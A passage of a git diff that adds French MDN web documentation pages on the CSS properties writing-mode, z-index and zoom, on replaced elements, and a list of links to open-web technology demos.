+        &lt;th&gt;Système d'écriture vertical&lt;/th&gt;
+        &lt;th&gt;Système d'écriture horizontal&lt;/th&gt;
+        &lt;th&gt;Système d'écriture hybride&lt;/th&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;
+        &lt;td&gt;horizontal-tb&lt;/td&gt;
+        &lt;td class="example Text1"&gt;我家没有电脑。&lt;/td&gt;
+        &lt;td class="example Text1"&gt;Example text&lt;/td&gt;
+        &lt;td class="example Text1"&gt;1994年に至っては&lt;/td&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;
+        &lt;td&gt;vertical-lr&lt;/td&gt;
+        &lt;td class="example Text2"&gt;我家没有电脑。&lt;/td&gt;
+        &lt;td class="example Text2"&gt;Example text&lt;/td&gt;
+        &lt;td class="example Text2"&gt;1994年に至っては&lt;/td&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;
+        &lt;td&gt;vertical-rl&lt;/td&gt;
+        &lt;td class="example Text3"&gt;我家没有电脑。&lt;/td&gt;
+        &lt;td class="example Text3"&gt;Example text&lt;/td&gt;
+        &lt;td class="example Text3"&gt;1994年に至っては&lt;/td&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;
+        &lt;td&gt;sideways-lr&lt;/td&gt;
+        &lt;td class="example Text4"&gt;我家没有电脑。&lt;/td&gt;
+        &lt;td class="example Text4"&gt;Example text&lt;/td&gt;
+        &lt;td class="example Text4"&gt;1994年に至っては&lt;/td&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;
+        &lt;td&gt;sideways-rl&lt;/td&gt;
+        &lt;td class="example Text5"&gt;我家没有电脑。&lt;/td&gt;
+        &lt;td class="example Text5"&gt;Example text&lt;/td&gt;
+        &lt;td class="example Text5"&gt;1994年に至っては&lt;/td&gt;
+    &lt;/tr&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<p>Cette première partie permet uniquement de rendre les choses plus agréables à lire :</p>
+
+<pre class="brush:css;">table {
+  border-collapse:collapse;
+}
+
+td, th {
+  border: 1px black solid; padding: 3px;
+}
+th {
+  background-color: lightgray;
+}
+</pre>
+
+<p>Ensuite, on ajoute la direction du contenu pour chaque cellule du tableau :</p>
+
+<pre class="brush:css;">.example.Text1 span, .example.Text1 {
+  writing-mode: horizontal-tb;
+  -webkit-writing-mode: horizontal-tb;
+  -ms-writing-mode: horizontal-tb;
+}
+
+.example.Text2 span, .example.Text2 {
+  writing-mode: vertical-lr;
+  -webkit-writing-mode: vertical-lr;
+  -ms-writing-mode: vertical-lr;
+}
+
+.example.Text3 span, .example.Text3 {
+  writing-mode: vertical-rl;
+  -webkit-writing-mode: vertical-rl;
+  -ms-writing-mode: vertical-rl;
+}
+
+.example.Text4 span, .example.Text4 {
+  writing-mode: sideways-lr;
+  -webkit-writing-mode: sideways-lr;
+  -ms-writing-mode: sideways-lr;
+}
+
+.example.Text5 span, .example.Text5 {
+  writing-mode: sideways-rl;
+  -webkit-writing-mode: sideways-rl;
+  -ms-writing-mode: sideways-rl;
+}
+</pre>
+
+<p>{{EmbedLiveSample("Exemple", 400, 500)}}</p>
+
+<h3 id="Résultat_statique">Résultat statique</h3>
+
+<p>Voici un aperçu du résultat avec un navigateur qui prend en charge <code>writing-mode</code> :</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/12201/writing-mode-actual-result.png" style="height: 430px; width: 351px;"></p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Writing Modes", "#block-flow", "writing-mode")}}</td>
+   <td>{{Spec2("CSS3 Writing Modes")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS4 Writing Modes", "#block-flow", "writing-mode")}}</td>
+   <td>{{Spec2("CSS4 Writing Modes")}}</td>
+   <td>Ajout des valeurs <code>sideways-lr</code> et <code>sideways-rl</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.writing-mode")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'attribut SVG <code><a href="/fr/docs/Web/SVG/Attribute/writing-mode">writing-mode</a></code></li>
+ <li>{{cssxref("direction")}}</li>
+ <li>{{cssxref("unicode-bidi")}}</li>
+ <li>{{cssxref("text-orientation")}}</li>
+ <li>{{cssxref("text-combine-upright")}}</li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Logical_Properties">Les propriétés logiques en CSS</a></li>
+ <li><a href="https://www.w3.org/International/articles/vertical-text/">Mettre en forme du texte vertical (chinois, coréen, japonais, mongol)</a></li>
+ <li><a href="https://w3c.github.io/i18n-tests/results/writing-mode-vertical">Tests de prise en charge des navigateurs</a></li>
+</ul>
diff --git a/files/fr/web/css/z-index/index.html b/files/fr/web/css/z-index/index.html
new file mode 100644
index 0000000000..854cf50eff
--- /dev/null
+++ b/files/fr/web/css/z-index/index.html
@@ -0,0 +1,144 @@
+---
+title: z-index
+slug: Web/CSS/z-index
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/z-index
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>z-index</code></strong> définit le « <em>z-order</em> » (NdT : « ordre z » n'est pas usité) d'un élément <a href="/fr/docs/Web/CSS/position">positionné</a> et de ses éléments fils ou de ses éléments flexibles (les enfants d'un élément avec <code>display: flex</code>). Lorsque des éléments se chevauchent, le <em>z-order</em> détermine l'ordre des différentes couches que formeront les éléments. Généralement, un élément couvrira un autre élément si sa valeur de  <code>z-index</code> est supérieure à celle du deuxième élément.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/z-index.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Pour les boîtes positionnées (celles pour lesquelles <code>position</code> est différent de <code>static</code>), la propriété <code>z-index</code> définit :</p>
+
+<ol>
+ <li>Le niveau de la boîte dans la pile par rapport <a href="/fr/docs/Web/CSS/Comprendre_z-index/L'empilement_de_couches">au contexte d'empilement</a> courant</li>
+ <li>Si la boîte crée un contexte d'empilement local.</li>
+</ol>
+
+<p>L'exemple ci-avant illustre l'impact de <code>z-index</code>. À gauche, on a dessiné trois boîtes qui se chevauchent avec <a href="/fr/docs/Learn/CSS/CSS_layout/Positioning#Absolute_positioning">un positionnement absolu</a>. Par défaut, les éléments sont empilés dans l'ordre dans lequel ils sont déclarés dans le document HTML. À droite, on présente le même document mais l'ordre des couches a été inversé grâce à <code>z-index</code>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Avec un mot-clé */
+z-index: auto;
+
+/* valeurs entières */
+/* type &lt;integer&gt; */
+z-index: 0;
+z-index: 3;
+z-index: 289;
+  /* On peut avoir des
+   valeurs négatives pour
+   réduire la propriété */
+z-index: -1;
+
+/* Valeurs globales */
+z-index: inherit;
+z-index: initial;
+z-index: unset;
+</pre>
+
+<p>La propriété <code>z-index</code> se définit grâce au mot-clé <code><a href="#auto">auto</a></code> ou grâce à une valeur entière (<code><a href="#integer">&lt;integer&gt;</a></code>).</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><a id="auto" name="auto"><code>auto</code></a></dt>
+ <dd>La boîte ne crée pas de nouveau contexte d'empilement. Le niveau d'empilement de la boîte dans le contexte d'empilement courant est le même que celui de la boîte parente.</dd>
+ <dt><a id="integer" name="integer"><code>&lt;integer&gt;</code></a></dt>
+ <dd>L'entier fourni (type {{cssxref("&lt;integer&gt;")}}) sera le niveau de la boîte dans la pile d'empilement pour le contexte d'empilement courant. La boîte crée un nouveau contexte d'empilement pour lequel son niveau est <code>0</code>. Cela signifie que les index z des descendants ne sont pas comparés à ceux des éléments en dehors de l'élément.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="boite-tirets"&gt;Boîte tirets
+  &lt;span class="boite-doree"&gt;Boîte dorée&lt;/span&gt;
+  &lt;span class="boite-verte"&gt;Boîte verte&lt;/span&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css; highlight:[3,11,19]">.boite-tirets {
+  position: relative;
+  z-index: 1;
+  border: dashed;
+  height: 8em;
+  margin-bottom: 1em;
+  margin-top: 2em;
+}
+.boite-doree {
+  position: absolute;
+  z-index: 3; /* .boite-doree sera au-dessus de .boite-verte et .boite-tirets */
+  background: gold;
+  width: 80%;
+  left: 60px;
+  top: 3em;
+}
+.boite-verte {
+  position: absolute;
+  z-index: 2; /* .boite-verte sera au-dessus de .boite-tirets */
+  background: lightgreen;
+  width: 20%;
+  left: 65%;
+  top: -25px;
+  height: 7em;
+  opacity: 0.9;
+}
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemple', '550', '200', '')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', "Comportement de z-index pour l'animation")}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td>Définit <code>z-index</code> comme pouvant être animé.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'visuren.html#z-index', 'z-index')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.z-index")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>La propriété CSS {{cssxref("position")}}</li>
+ <li><a href="/fr/docs/Web/CSS/Comprendre_z-index">Comprendre le fonctionnement de <code>z-index</code></a></li>
+</ul>
diff --git a/files/fr/web/css/zoom/index.html b/files/fr/web/css/zoom/index.html
new file mode 100644
index 0000000000..d68f95a128
--- /dev/null
+++ b/files/fr/web/css/zoom/index.html
@@ -0,0 +1,102 @@
+---
+title: zoom
+slug: Web/CSS/zoom
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Web/CSS/zoom
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>La propriété non-standard <strong><code>zoom</code></strong> permet de manipuler l'effet d'agrandissement d'un élément. Plutôt que cette propriété non-standard, mieux vaudra utiliser <a href="/fr/docs/Web/CSS/CSS_Transforms/Utilisation_des_transformations_CSS">les transformations CSS</a>, si possible. Cependant, contrairement aux transformations CSS, <strong><code>zoom</code></strong> affecte la taille de l'élément.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css no-line-numbers">/* Valeurs avec un mot-clé */
+zoom: normal;
+zoom: reset;
+
+/* VAleurs exprimées en pourcents */
+/* Type &lt;percentage&gt; */
+zoom: 50%;
+zoom: 200%;
+
+/* Valeurs numériques */
+/* Type &lt;number&gt; */
+zoom: 1.1;
+zoom: 0.7;
+
+/* Valeurs globales */
+zoom: inherit;
+zoom: initial;
+zoom: unset;</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>normal</code></dt>
+ <dd>L'élément est affiché avec sa taille normale.</dd>
+ <dt><code>reset</code> {{non-standard_inline}}</dt>
+ <dd>Do not (de)magnify this element if the user applies non-pinch-based zooming (e.g. by pressing <kbd>Ctrl</kbd>-<kbd>-</kbd> ou <kbd>Ctrl</kbd>+<kbd>+</kbd>) to the document. Only supported by WebKit (and possibly Blink).</dd>
+ <dt>{{cssxref("&lt;percentage&gt;")}}</dt>
+ <dd>Le facteur de zoom à appliquer. <code>100%</code> est équivalent au mot-clé <code>normal</code>. Les valeurs supérieures à <code>100%</code> agrandissent l'élément et les valeurs inférieures le réduisent.</dd>
+ <dt>{{cssxref("&lt;number&gt;")}}</dt>
+ <dd>Le facteur de zoom à appliquer. La valeur fonctionne de la même façon que les pourcentages :  <code>1.0</code> correspond à <code>normal</code> (ou <code>100%</code>) , les valeurs supérieures à <code>1.0</code> agrandissent l'élément et les valeurs inférieures le réduisent.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">p.petit {
+  zoom: 75%;
+}
+p.normal {
+  zoom: normal;
+}
+p.gros {
+  zoom: 2.5;
+}
+p {
+  display: inline-block;
+}
+p:hover {
+  zoom: reset;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class="petit"&gt;Petit&lt;/p&gt;
+&lt;p class="normal"&gt;Normal&lt;/p&gt;
+&lt;p class="gros"&gt;Gros&lt;/p&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","100%","200")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété n'est pas standard et est née avec Internet Explorer. Apple la décrit <a href="https://developer.apple.com/library/safari/documentation/AppleApplications/Reference/SafariCSSRef/Articles/StandardCSSProperties.html#//apple_ref/doc/uid/TP30001266-SW15">dans la référence CSS pour Safari</a>. Rossen Atanassov, de Microsoft, a dressé <a href="https://cdn.rawgit.com/atanassov/css-zoom/master/Overview.html">un brouillon de spécification sur GitHub</a></p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.zoom")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://css-tricks.com/almanac/properties/z/zoom/">L'article de CSS-Tricks sur <code>zoom</code></a></li>
+ <li>Le descripteur <code><a href="/fr/docs/Web/CSS/@viewport/zoom">zoom</a></code> pour la règle @ <code><a href="/fr/docs/Web/CSS/@viewport">@viewport</a></code></li>
+ <li>{{bug("390936")}} à propos de l'implémentation de la propriété dans Firefox</li>
+</ul>
diff --git a/files/fr/web/css/élément_remplacé/index.html b/files/fr/web/css/élément_remplacé/index.html
new file mode 100644
index 0000000000..eaa2f4d82a
--- /dev/null
+++ b/files/fr/web/css/élément_remplacé/index.html
@@ -0,0 +1,62 @@
+---
+title: Élément remplacé
+slug: Web/CSS/Élément_remplacé
+tags:
+  - CSS
+  - Reference
+translation_of: Web/CSS/Replaced_element
+---
+<div>{{CSSRef}}</div>
+
+<p>En CSS, un <strong>élément remplacé</strong> est un élément dont la représentation est en dehors du champ de CSS. Ce sont des objets externes dont la représentation sera indépendante de CSS.</p>
+
+<p>Autrement dit, ces éléments sont des éléments dont le contenu n'est pas impacté par les styles du documents. La position de l'élément remplacé peut être modifiée avec CSS mais le contenu même de l'élément ne pourra pas être modifiée. Certains éléments remplacés comme {{HTMLElement("iframe")}} peuvent avoir leurs propres feuilles de styles mais ils n'héritent pas de celles du document parent.</p>
+
+<h2 id="Éléments_remplacés">Éléments remplacés</h2>
+
+<p>Les éléments remplacés caractéristiques sont :</p>
+
+<ul>
+ <li>{{HTMLElement("img")}},</li>
+ <li>{{HTMLElement("object")}},</li>
+ <li>{{HTMLElement("video")}},</li>
+ <li>{{HTMLElement("iframe")}}</li>
+ <li>les éléments {{HTMLElement("input")}} de type image</li>
+</ul>
+
+<p>Par ailleurs, certains éléments comme :</p>
+
+<ul>
+ <li>{{HTMLElement("option")}}</li>
+ <li>{{HTMLElement("audio")}}</li>
+ <li>{{HTMLElement("canvas")}}</li>
+ <li>{{HTMLElement("object")}}</li>
+ <li>{{HTMLElement("applet")}}</li>
+</ul>
+
+<p>sont des éléments remplacés dans certains cas spécifiques. De même un élément {{HTMLElement("input")}} peut être un élément remplacé dans certains cas (lorsqu'il est de type <code>"image"</code> notamment).</p>
+
+<p>Les objets insérés grâce aux propriétés CSS {{cssxref("content")}} sont des <em>éléments remplacés anonymes</em> (on les qualifie d'anonymes car ils n'existent pas dans la structure du HTML).</p>
+
+<h2 id="Utiliser_CSS_avec_les_éléments_remplacés">Utiliser CSS avec les éléments remplacés</h2>
+
+<p>Les éléments remplacés sont manipulés de façon spécifique par le moteur CSS, notamment pour le calcul des marges extérieures et certaines valeurs <code>auto</code>.</p>
+
+<p>On notera que certains éléments remplacés ont des dimensions intrinsèques ou une ligne de base définie, qui sont utilisées par des propriétés CSS comme {{cssxref("vertical-align")}}.</p>
+
+<h3 id="Contrôler_la_position_des_objets_au_sein_de_la_boîte_de_contenu">Contrôler la position des objets au sein de la boîte de contenu</h3>
+
+<p>Certaines propriétés CSS permet d'indiquer la façon dont l'objet contenu dans l'élément remplacé doit occuper la boîte de l'élément. Ces propriétés sont définies dans les spécifications {{SpecName("CSS3 Images")}} et {{SpecName("CSS4 Images")}} :</p>
+
+<dl>
+ <dt>{{cssxref("object-fit")}}</dt>
+ <dd>Indique la façon dont le contenu de l'élément remplacé doit s'inscrire dans la boîte de l'élément et comment il doit être redimensionné si besoin.</dd>
+ <dt>{{cssxref("object-position")}}</dt>
+ <dd>Indique l'alignement du contenu de l'élément remplacé dans la boîte de l'élément.</dd>
+</dl>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://html.spec.whatwg.org/multipage/rendering.html#replaced-elements">Spécification HTML sur les éléments remplacés</a></li>
+</ul>
diff --git a/files/fr/web/démos_de_technologies_open_web/index.html b/files/fr/web/démos_de_technologies_open_web/index.html
new file mode 100644
index 0000000000..3e2c7b1783
--- /dev/null
+++ b/files/fr/web/démos_de_technologies_open_web/index.html
@@ -0,0 +1,168 @@
+---
+title: Démos de technologies open web
+slug: Web/Démos_de_technologies_open_web
+translation_of: Web/Demos_of_open_web_technologies
+---
+<p>Mozilla supporte une large gamme de technologies open web vraiment intéressantes, et nous encourageons leur utilisation. Cette page offre des liens vers d'intéressantes démonstrations de ces technologies. Si vous avez entendu parler d'une bonne démonstration ou d'une application de technologie open web, veuillez ajouter un lien vers la section appropriée ici.</p>
+
+<h2 id="Graphiques_2D">Graphiques 2D</h2>
+
+<h3 id="APNG" name="APNG">APNG</h3>
+
+<ul>
+ <li><a class="external" href="http://people.mozilla.com/~dolske/apng/demo.html">Démo de Justin</a> (marche quand il est sauvegardé en local)</li>
+</ul>
+
+<h3 id="SVG" name="SVG">Canvas</h3>
+
+<ul>
+ <li><a class="external" href="http://www.blobsallad.se/">Un blob interactif utilisant javascript et canvas (fun)</a></li>
+ <li><a class="external" href="http://blobsallad.se/article/" title="http://blobsallad.se/article/">Démos de Blob</a></li>
+ <li><a class="external" href="http://glimr.rubyforge.org/cake/canvas.html">Kit d'Expérimentation d'Animation Canvas (KEAC)</a></li>
+ <li><a class="external" href="http://www.xs4all.nl/~peterned/3d/" title="http://www.xs4all.nl/~peterned/3d/">Canvas3D &amp; Flickr</a></li>
+ <li><a class="external" href="http://arapehlivanian.com/wp-content/uploads/2007/02/canvas.html" title="http://arapehlivanian.com/wp-content/uploads/2007/02/canvas.html">Jouer avec Canvas</a></li>
+ <li><a class="external" href="http://langexplr.blogspot.com/2008/11/using-canvas-html-element.html" title="http://langexplr.blogspot.com/2008/11/using-canvas-html-element.html">Utilisation de Canvas Html element5</a></li>
+ <li><a class="external" href="/samples/raycaster/RayCaster.html" title="https://developer.mozilla.org/editor/fckeditor/core/editor/samples/raycaster/RayCaster.html">RayCaster</a></li>
+ <li><a class="external" href="http://jsmsxdemo.googlepages.com/jsmsx.html" title="http://jsmsxdemo.googlepages.com/jsmsx.html">MSX Emulator</a></li>
+ <li><a class="external" href="http://processingjs.org/exhibition/" title="http://dev.jquery.com/~john/processing.js/examples/basic/">processing.js</a></li>
+ <li><a class="external" href="http://glimr.rubyforge.org/cake/missile_fleet.html" title="http://glimr.rubyforge.org/cake/missile_fleet.html">Missile fleet</a></li>
+ <li><a class="external" href="http://glimr.rubyforge.org/cake/demos/fireworks2.6rt.html" title="http://glimr.rubyforge.org/cake/demos/fireworks2.6rt.html">FireWorks</a></li>
+ <li><a class="external" href="http://glimr.rubyforge.org/cake/demos/canvas_ash.html" title="http://glimr.rubyforge.org/cake/demos/canvas_ash.html">Canvas ash1</a></li>
+ <li><a class="external" href="http://glimr.rubyforge.org/cake/demos/canvas_ash2.html" title="http://glimr.rubyforge.org/cake/demos/canvas_ash2.html">Canvas ash2</a></li>
+ <li><a class="external" href="http://glimr.rubyforge.org/cake/demos/canvas_ash8.html" title="http://glimr.rubyforge.org/cake/demos/canvas_ash8.html">Canvas ash8</a></li>
+ <li><a class="external" href="http://gyu.que.jp/jscloth/" title="http://gyu.que.jp/jscloth/">3D on 2D Canvas</a></li>
+ <li><a href="http://viliusle.github.io/miniPaint/">miniPaint - Image editor </a>(<a href="https://github.com/viliusle/miniPaint">source code</a>)</li>
+</ul>
+
+<h3 id="SVG" name="SVG">SVG</h3>
+
+<ul>
+ <li><a class="external" href="http://www.kde-look.org/CONTENT/content-files/19524-gearflowers.svg.gz">Gearflowers image</a> Ne pas oublier de zoomer (marche quand il est sauvegardé en local)</li>
+ <li><a class="external" href="http://people.mozilla.com/~vladimir/demos/photos.svg">démo photo SVG</a> (effets visuels et interaction)</li>
+ <li><a class="external" href="http://starkravingfinkle.org/projects/demo/svg-bubblemenu-in-html.xml">Bubblemenu</a> (effets visuels et interaction)</li>
+ <li><a class="external" href="http://starkravingfinkle.org/blog/2007/07/firefox-3-svg-foreignobject/">transformations HTML</a> using <code>foreignObject</code> (effets visuels et transformations)</li>
+ <li><a class="external" href="http://svg-whiz.com/svg/linguistics/theCreepyMouth.svg">Guide Phonétiques</a> (interactif)</li>
+ <li><a class="external" href="http://www.lutanho.net/svgvml3d/platonic.html">démo objets 3D</a> (interactif)</li>
+ <li><a class="external" href="http://www.themaninblue.com/experiment/Blobular/" title="http://www.themaninblue.com/experiment/Blobular/">Blobular</a> (interactif)</li>
+ <li><a class="external" href="http://www.double.co.nz/video_test/video.svg">Vidéo embarquées dans SVG</a> (ou utiliser le <a class="external" href="http://www.double.co.nz/video_test/video_svg.tar.bz2">téléchargement local</a>)</li>
+ <li><a href="http://summerstyle.github.io/summer/">Summer HTML image map creator</a> (<a href="https://github.com/summerstyle/summer">code source</a>)</li>
+ <li><a href="http://s.codepen.io/SoftwareRVG/debug/JRJZVW">démo firefox developer édition SVG/CSS </a>conçu par Rober Villar de chez Software RVG (<a href="https://github.com/SoftwareRVG/mde_design/blob/master/css_svg_dev">code source</a>) (<a href="http://s.codepen.io/SoftwareRVG/debug/JRJZVW">mode debug</a>)</li>
+</ul>
+
+<h3 id="Video" name="Video">Vidéos</h3>
+
+<ul>
+ <li><a href="https://vimeo.com/172328210">Vidéo Animation 3D "mozilla en constante évolution" Conçue par Rober Villar ,dévéloppeur chez SoftwareRVG.</a></li>
+ <li><a class="external external-icon" href="https://vimeo.com/173851395">Video animation 3D "Dance Flottante" . Conçue par Rober Villar , développeur chez SoftwareRVGdesignS.</a></li>
+ <li><a class="external" href="http://www.double.co.nz/video_test/test1.html">Diffusion anime, Bande annonce de Film et Interview</a></li>
+ <li><a class="external" href="http://www.double.co.nz/video_test/test2.html">Navigateur Firefox Flick de Billy</a></li>
+ <li><a class="external" href="http://www.double.co.nz/video_test/test3.html">Salon de coiffure virtuelle</a></li>
+ <li><a class="external" href="http://www.double.co.nz/video_test/test4.html">Bande annonce du Film Transformers</a></li>
+ <li><a class="external" href="http://www.double.co.nz/video_test/test5.html">Bande annonce du Film A Scanner Darkly</a> (avec commandes intégrées)</li>
+ <li><a class="external" href="http://www.double.co.nz/video_test/events.html">Events firing and volume control</a></li>
+ <li><a class="external" href="http://www.double.co.nz/video_test/video.svg" title="http://www.double.co.nz/video_test/video.svg">Vidéos traînable et rédimensionnable</a></li>
+</ul>
+
+<h2 id="Graphiques_3D">Graphiques 3D</h2>
+
+<h3 id="WebGL">WebGL</h3>
+
+<ul>
+ <li><a href="http://ondras.github.io/fireworks-webgl/">Web Audio Fireworks</a></li>
+ <li><a href="https://dl.dropboxusercontent.com/u/62064441/ioquake3.js/ioquake3.html">IoQuake3</a> (<a href="https://github.com/klaussilveira/ioquake3.js">code source</a>)</li>
+ <li><a href="http://micah.tech/demoscene/">Escher puzzle</a> (<a href="https://github.com/micahbolen/demoscene">code source</a>)</li>
+ <li><a href="http://collinhover.github.io/kaiopua/">Kai 'Opua</a> (<a href="https://github.com/collinhover/kaiopua">code source</a>)</li>
+</ul>
+
+<h3 id="Réalité_Virtuelle">Réalité Virtuelle</h3>
+
+<ul>
+ <li><a href="http://mozvr.com/demos/polarsea/">La Mer Polaire</a> (<a href="https://github.com/MozVR/polarsea">code source</a>)</li>
+ <li><a href="http://mozvr.github.io/sechelt/">Sechelt fly-through</a> (<a href="https://github.com/mozvr/sechelt">code source</a>)</li>
+</ul>
+
+<h3 id="Réalité_augmentée">Réalité augmentée</h3>
+
+<ul>
+ <li>
+  <p><a href="https://jeeliz.com/rayban">essayage virtuel de lunettes (webcam recquise)</a></p>
+ </li>
+</ul>
+
+<h2 id="CSS">CSS</h2>
+
+<ul>
+ <li><a class="external external-icon" href="http://s.codepen.io/SoftwareRVG/debug/OXkOWj">logo flottant " mozilla " CSS  développé par Rober Villar , de chez Software RVG. </a>(mode debug)</li>
+ <li><a class="external external-icon" href="http://codepen.io/SoftwareRVG/pen/OXkOWj/">logo flottant " mozilla " CSS développé par Rober Villar , from Software RVG. </a>(code source)</li>
+ <li><a href="http://webdeveloperbareilly.in/blog/html5/responsive-contact-form-bootstrap.php">Conception de Formulaire de Contact Bootstrap</a></li>
+ <li><a href="http://felixniklas.com/paperfold/">Paperfold</a></li>
+ <li><a href="http://ondras.github.io/blockout/">CSS Blockout</a></li>
+ <li><a href="http://ondras.zarovi.cz/demos/rubik/">Rubik's cube</a></li>
+ <li><a href="http://ondras.zarovi.cz/demos/nojs/">Pure CSS Slides</a></li>
+ <li>Planetarium (<a href="https://github.com/littleworkshop/planetarium">code source</a>)</li>
+ <li><a href="http://www.lesmoffat.co.uk/folio/forest/forest.html">CSS Paralax Forest</a></li>
+ <li><a href="http://webdeveloperbareilly.in/blog/html5/responsive-contact-form-bootstrap.php">Conception de Page A Propos dans Bootstrap</a></li>
+ <li><a href="http://webdeveloperbareilly.in/blog/css3/onepage-scroll-template.html" rel="bookmark" title="One Page Scroll Website Template Theme Free Download">Modèle de Site Web "One Page Scroll"</a></li>
+</ul>
+
+<h3 id="Transformations">Transformations</h3>
+
+<ul>
+ <li><a href="http://impress.github.io/impress.js">Impress.js</a> (<a href="https://github.com/impress/impress.js">code source</a>)</li>
+</ul>
+
+<h2 id="Jeux">Jeux</h2>
+
+<ul>
+ <li><a href="https://dl.dropboxusercontent.com/u/62064441/ioquake3.js/ioquake3.html">IoQuake3</a> (<a href="https://github.com/klaussilveira/ioquake3.js">code source</a>)</li>
+ <li><a href="http://collinhover.github.io/kaiopua/">Kai 'Opua</a> (<a href="https://github.com/collinhover/kaiopua">code source</a>)</li>
+</ul>
+
+<h2 id="HTML">HTML</h2>
+
+<ul>
+ <li> <a href="http://zenphoton.com">Zen Photon Garden </a>(<a href="https://github.com/scanlime/zenphoton">code source</a>)</li>
+ <li><a href="http://webdeveloperbareilly.in/blog/smo/html-meta-tags-for-social-media-optimization.html">HTMl Meta Tags For SMO</a></li>
+</ul>
+
+<h2 id="APIs_Web">APIs Web</h2>
+
+<ul>
+</ul>
+
+<h3 id="API_de_Notifications">API de Notifications</h3>
+
+<ul>
+ <li><a href="http://elfoxero.github.io/html5notifications/">Notifications HTML5</a> (<a href="https://github.com/elfoxero/html5notifications">code source</a>)</li>
+</ul>
+
+<ul>
+</ul>
+
+<h3 id="API_Web_Audio">API Web Audio</h3>
+
+<ul>
+ <li><a href="http://ondras.github.io/fireworks-webgl/">Web Audio Fireworks</a></li>
+ <li><a href="http://ondras.github.io/oscope/">oscope.js - Oscilloscope en JavaScript</a></li>
+ <li><a href="http://mdn.github.io/audio-buffer/">Démo Tampon Audio</a> (<a href="http://mdn.github.io/audio-buffer/">code source</a>)</li>
